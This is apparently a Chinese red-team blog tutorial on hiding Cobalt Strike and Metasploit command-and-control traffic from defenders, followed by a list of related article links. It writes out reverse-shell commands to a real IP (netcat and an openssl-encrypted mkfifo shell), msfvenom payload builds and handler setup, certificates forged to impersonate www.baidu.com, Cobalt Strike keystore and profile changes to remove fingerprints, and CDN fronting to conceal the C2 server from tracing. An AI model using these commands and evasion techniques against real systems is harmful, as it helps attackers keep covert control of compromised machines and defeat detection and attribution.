文章目录

  • 背景交代:
    • 常见红蓝对抗中红队面临问题:
    • 蓝队发现处置情况:
  • NC-未加密&加密后-流量抓包对比
  • MSF-流量通讯特征修改-证书-openssl
    • 解决HTTPS-SSL通讯证书被特征标示问题
    • impersonate_ssl模块
  • CS-流量通讯特征修改-证书指纹-keytool
    • 1.修改默认端口:
    • 2.去除store证书特征:
    • 3、去除流量通讯特征:
    • DIY Profiles文件
  • CS-防封锁处置IP地址-C2&CDN隐藏IP
  • 发挥想象:

背景交代:

在红蓝对抗或日常测试中会出现一种情况,当我们终于让目标机器上线后,
却因为明显的通信特征被安全设备检测到从而失去目标机器的控制权限,
这时就需要对Cobalt Strike或MSF的特征进行隐藏、对其通信流量进行混淆。

常见红蓝对抗中红队面临问题:

1、通讯协议走TCP&UDP协议,直接被防火墙限制出网
2、通讯协议走无加密HTTP协议,直接明文传输成指纹特征
3、通讯协议走HTTPS或DNS加密协议,直接工具证书成指纹特征
4、通讯协议走HTTPS或DNS加密协议,特征指纹等修改后又被朔源拉黑

红队进行权限控制,主机开始限制出网,尝试走常见出网协议http/https,结果流量设备入侵检测检测系统发现异常,尝试修改工具指纹特征加密流量防止检测,结果被定位到控制服务器,再次使用CDN,云函数,第三方上线等进行隐藏保证权限维持。

蓝队发现处置情况:

1.蓝队-朔源后拉黑控制IP
2.蓝队-设备平台指纹告警
3.蓝队-流量分析异常告警

NC-未加密&加密后-流量抓包对比

nc -lvvp 5566
nc -e /bin/bash 47.94.130.42 5566

未进行流量加密之前:这里可以清晰地看到通过nc执行的相关系统命令,很容易被安全设备检测到

在我们的攻击端生成自签名证书(加ssl)

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

在攻击机上监听指定端口,这里我选择4455

openssl s_server -quiet -key key.pem -cert cert.pem -port 4455

在受害机上执行shell反弹命令(注意修改ip和端口)

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.130.42:4455 > /tmp/s;


这里可以看到,流量进行了加密,只能隐约的看到一些ssl证书信息。

MSF-流量通讯特征修改-证书-openssl

解决HTTPS-SSL通讯证书被特征标示问题

传统msf虽然使用https等加密方式,不过仍然会有特征(head头部固定)

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=47.94.130.42  LPORT=4455 -f exe -o msf.exe

为了方便流量与其他协议作区分,这里我使用http协议;生成后在虚拟机中上线,不过遇到了奇怪的事情就是,我在上线的虚拟机中抓不到http流量的数据包,而在物理机中抓到了(emmm我也不太懂为什么会这样)

这里可以很明显的看到:固定的GET/POST乱码请求,以及固定的Firefox UA头,下方的post乱码数据是我做的命令交互

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=47.94.130.42  LPORT=4455 -f exe -o msf-https.exe

那么如果使用msf生成https协议的后门呢?
采用msf自带的证书进行上线(但是还是会被流量设备、IDS、IPS等设备检测(特征库))

这里可以看到msf自带的证书,这里我们对该证书进行伪装(这里其实流量上没做什么改变,知识对默认证书指纹做了修改)

1.利用openssl生成证书:

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt

2.MSF生成绑定证书后门:

msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.130.42 LPORT=4455 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o msf-https-cer.exe

3.MSF监听上线:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run

impersonate_ssl模块

此外Metasploit框架还有一个auxiliary/gather/impersonate_ssl模块,可以用来自动从信任源创建一个虚假证书,十分方便:

use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run

CS-流量通讯特征修改-证书指纹-keytool

-解决HTTP/S通讯证书及流量特征被特征标示问题
JDK Keytool 修改CS特征

1.修改默认端口:

编辑teamserver文件,更改server port默认端口50050


比如说我这里伪装成MongoDB数据库端口,同样连接服务端的时候密码也需要更改为27017
此外CS在运行的时候加载cobalstrike.store证书(默认配置)

2.去除store证书特征:

查看证书指纹:

keytool -list -v -keystore cobaltstrike.store    #keytool java jdk自带


这里可以很明显的看到很明显的cobaltstrike特征,于是我们在证书指纹方面对CS进行二次更改
生成自定义证书指纹:

keytool -keystore cobaltstrike1.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"


应用证书指纹:

keytool -importkeystore -srckeystore cobaltstrike1.store -destkeystore cobaltstrike1.store -deststoretype pkcs12

3、去除流量通讯特征:

背景:CS原始HTTP监听器心跳数据包

规则资源:
https://github.com/xx0hcd/Malleable-C2-Profiles
https://github.com/FortyNorthSecurity/C2concealer

重新生成后门文件进行上线抓取心跳包

成功修改心跳包特征

DIY Profiles文件

1.创建C2文件:xiaodi.Profiles
2.写入通讯规则: UA头&GET&POST&心跳&证书等
3.测试规则正常:./c2lint whgojp.prifile
4.加载C2规则启动:

./teamserver ip 密码 whgojp.Profiles
https-certificate {set CN      "whgojp e-Szigno Root CA";set O        "whogjp Ltd.";set C        "HU";set L        "Budapest";set OU      "e-Szigno CA";set ST      "HU";set validity "365";
}

#设置,修改成你的证书名称和证书密码

code-signer{set keystore "whgojp.store";set password "123456";set alias "whgojp.top";
}

伪造的证书与下方对应

keytool -keystore whgojp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias whgojp.top -dname "CN=whgojp e-Szigno Root CA, OU=e-Szigno CA, O=whogjp Ltd., L=Budapest, S=HU, C=HU"

隐藏:
域前置、CDN、云函数,网盘第三方上线等

CS-防封锁处置IP地址-C2&CDN隐藏IP

解决HTTPS-SSL通讯被朔源IP封锁问题
配置:
https://mp.weixin.qq.com/s/MghFgegdp3l3tFE3hOvcYw
1、阿里云备案域名&全站加速CDN配置

尝试超级ping一下,配置成功

开了CDN之后,每超级ping一次都是人民币的声音emmm
2、CS创建监听器-HTTPS/Stager/Header

3、生成后门-进程网络状态&威胁情报平台
成功上线运行

使用火绒剑查看网络连接情况

很显然这里并不是我的真实IP 赶快把CDN服务关了,顶不住了

发挥想象:

域前置?转发器换成CDN;
云函数?转发器换成云函数转发;
代理隐藏?转发器换成代理机;
网关隐藏?转发器换成网关;

【红队APT】反朔源流量加密CSMSF证书指纹C2项目CDN域前置相关推荐

  1. 红队APT——反朔源流量加密CSMSF证书指纹C2项目CDN域前置

    目录 0x01 背景交代 0x02 常见红蓝对抗中红队面临问题 0x03 蓝队发现处置情况

  2. 【红队APT】反朔源隐藏C2项目CDN域前置云函数数据中转DNS转发

    文章目录 域前置-CDN隐藏C2真实IP 防止被溯源 什么是域前置 条件 原理 ==完整复现== 域前置溯源 DNS协议-域名记录解析 云函数-腾讯云操作 云函数如何溯源 端口转发-Iptables ...

  3. 【红队APT】钓鱼篇Office-CVE漏洞RLO隐藏压缩包释放免杀打包捆绑

    文章目录 文件后缀-钓鱼伪装-RLO 压缩文件-自解压-释放执行 Office套件-CVE漏洞-MSF&CS Microsoft MSDT CVE-2022-30190 代码执行 Micros ...

  4. 【安全实战】红队攻防技术

    前言 希望能够面向红蓝双方进行讲解,在进行一些攻击方式分析时,同样也会引起防守方对于攻击的思考.红蓝对抗的意义也正是在这种持续的攻击下不断寻找防御的平衡点,故 未知攻,焉知防. ​ 本文仅做安全研究作 ...

  5. 红队攻击手特训营“第九期” 1.6号开始开班~

    红队攻击手特训营(第九期)2023.1.6号正式开班!  共27课时(每课时2小时) 直播培训的目标是让您学会 而不是仅仅给您一堆视频教程去看 私塾式小班精讲,可免费重听! 新 课程目录9.0版 第1 ...

  6. 加入“红队攻击手特训营”享永久观看特权,第8期已准备就绪~

    红队攻击手特训营(第八期)9.2号正式开班!  共27课时(每课时2小时) 直播培训的目标是让您学会 而不是仅仅给您一堆视频教程去看 私塾式小班精讲,可免费重听! 全新课程目录8.0版 第1天课 被动 ...

  7. 红队作业 | 收集xxx.com域名的所有子域名

    文章来源|MS08067 红队培训班 第5期 本文作者:AlexD(红队培训班5期学员) 按老师要求尝试完成布置的作业如下: 被动信息收集 0x01 利用DNS数据集收集子域 有很多第三方服务聚合了大 ...

  8. 要想加入红队,需要做好哪些准备?

    在本文中,我们将为读者介绍要想加入红队,需要掌握哪些方面的技能. 红队到底是做什么的? 在红队中,您需要仿真.模拟或以其他方式扮演某个.某组入侵者或理论上的假想敌.这些活动通常以单独的演习或练习的形式 ...

  9. 【红队】要想加入红队,需要做好哪些准备?

    红队到底是做什么的? 在红队中,您需要仿真.模拟或以其他方式扮演某个.某组入侵者或理论上的假想敌.这些活动通常以单独的演习或练习的形式出现,其目的是训练蓝队,蓝队由负责各种防御工事的小组或个人组成.并 ...

最新文章

  1. 安装 Cacti 监控
  2. git 码云使用教程
  3. pringMVC“Ambiguous mapping found. Cannot map 'XXXController' bean method”解决方法
  4. Linux基础学习七:mysql的安装和配置教程
  5. latex 生成中文目录乱码问题解决
  6. Golang 五种原子性操作的用法详解
  7. matlab编写识别手写数字_使用PYNQ搭建手写数字识别工程小白级说明(完整版)
  8. 计算机网络学习笔记(17. 计算机网络作业一)
  9. svn利用钩子脚本功能实现代码同步到web目录
  10. 【渝粤教育】国家开放大学2018年春季 8668-22T汽车涂装技术(A) 参考试题
  11. linux /windows 基础篇
  12. 嵌入式开发培训靠谱吗,嵌入式开发培训怎么样?
  13. 计算机基础知识背诵口诀,字根表口诀怎么快速背-文言文的快速背诵方法4则,附虚词背诵顺口溜...
  14. 拼多多活动期间怎么控制|百誉纳成
  15. 爬虫(04)cookie+session+正则+字典快速生成2020-12-18
  16. 标量、向量和矩阵的求导法则
  17. mac m1 prometheus安装与启动
  18. web应用防火墙检测恶意流量的方法
  19. 【MindMapper2008】选中文字自动生成节点
  20. Ball Game(翻译)

热门文章

  1. 电话号码归属地查询——利用邮编从网络上抓取地址信息(1)
  2. YOLOV5 模型和代码修改——针对小目标识别
  3. 关于NDB和VOR的选择
  4. 中级Shader教程10 shader建模工具--SDF
  5. 《NoSQL入门》关于NoSQL
  6. 纯前端js直接导入导出json文件
  7. POJ 3618 Best Cow Line(贪心算法)
  8. 【计算机组成原理】:计算机系统概述
  9. 扁桃体炎的危害 你知道多少
  10. [论文阅读笔记53]2021深度神经方法的关系三元组抽取综述